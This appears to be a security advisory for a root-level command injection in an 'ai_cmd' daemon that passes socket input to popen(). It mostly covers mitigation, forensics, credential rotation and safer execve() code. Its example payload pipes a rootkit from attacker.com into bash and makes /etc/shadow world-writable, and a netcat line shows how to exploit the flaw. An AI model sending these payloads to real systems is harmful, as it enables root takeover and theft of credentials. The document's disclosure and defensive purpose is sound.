CVE-2026-49188: ai_cmd Utility Root-Level popen() Injection via Socket Input

/* VULNERABLE CODE PATTERN (illustrative) */
void handle_socket_input(int sockfd) {
    char buffer[4096];
    ssize_t n = recv(sockfd, buffer, sizeof(buffer) - 1, 0);
    if (n > 0) {
        buffer[n] = '\0';
        /* Input from socket passed directly to popen — no validation */
        FILE *fp = popen(buffer, "r");   /* ← CRITICAL: root shell injection */
        /* read output back to socket */
    }
}

Attacker sends to socket:
  "get_status; chmod 777 /etc/shadow; curl http://attacker.com/rootkit.sh | bash"
 
popen() executes:
  /bin/sh -c "get_status; chmod 777 /etc/shadow; curl http://attacker.com/rootkit.sh | bash"
 
Effect (running as root):
  1. get_status executes normally
  2. /etc/shadow permissions changed (enabling offline cracking)
  3. Attacker's rootkit downloaded and executed as root

# Trivial exploitation (illustrative — do not use maliciously)
echo "id; whoami; cat /etc/passwd" | nc <target-host> <ai_cmd-port>
 
# Expected output demonstrating root execution:
# uid=0(root) gid=0(root) groups=0(root)
# root
# root:x:0:0:root:/root:/bin/bash
# ...

# Stop the ai_cmd daemon immediately
systemctl stop ai_cmd
systemctl disable ai_cmd
 
# If running via init.d
service ai_cmd stop
update-rc.d ai_cmd disable
 
# Kill any running instances
pkill -f ai_cmd

# Block access to the ai_cmd socket port from untrusted networks
# Replace <ai_cmd_port> with the actual port number
iptables -A INPUT -p tcp --dport <ai_cmd_port> -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport <ai_cmd_port> -s <management-subnet> -j ACCEPT
iptables -A INPUT -p tcp --dport <ai_cmd_port> -j DROP
iptables-save > /etc/iptables/rules.v4

# Check for unexpected files created by root recently
find / -newer /var/log/ai_cmd/startup.log -user root -type f 2>/dev/null | head -50
 
# Check for unusual cron jobs added as root
crontab -l -u root
 
# Review recently modified system files
find /etc /usr/bin /usr/sbin -newer /etc/passwd -type f 2>/dev/null
 
# Check auth logs for unexpected sudo/su activity
grep -E "(sudo|su|ROOT)" /var/log/auth.log | tail -100
 
# Look for unexpected listening ports added after exploitation
ss -tlnp | grep -v <known-services>
 
# Review shell history of root account
cat /root/.bash_history | tail -100

# Rotate root password
passwd root
 
# Regenerate SSH host keys
rm /etc/ssh/ssh_host_*
ssh-keygen -A
 
# Review and rotate SSH authorized_keys
cat /root/.ssh/authorized_keys  # check for unexpected entries
cat /home/*/.ssh/authorized_keys  # check all users
 
# Rotate API keys, database passwords, and service credentials
# stored on this system

/* UNSAFE */
FILE *fp = popen(user_input, "r");
 
/* SAFER — use execve() directly, bypassing shell interpretation */
#include <unistd.h>
 
void safe_execute(const char *program, char *const argv[]) {
    pid_t pid = fork();
    if (pid == 0) {
        /* Drop privileges before executing */
        setuid(getuid());  /* drop root */
        execve(program, argv, NULL);
        _exit(1);
    }
    waitpid(pid, NULL, 0);
}
 
/* Call with parsed, validated argument array — no shell involved */
char *args[] = {"/usr/bin/ai_tool", "--action", "get_status", NULL};
safe_execute("/usr/bin/ai_tool", args);

/* After initialization (before accepting socket input) */
/* Drop root privileges — acquire only what is needed */
if (setgid(ai_cmd_gid) != 0 || setuid(ai_cmd_uid) != 0) {
    perror("Failed to drop privileges");
    exit(1);
}
/* Now running as unprivileged ai_cmd user */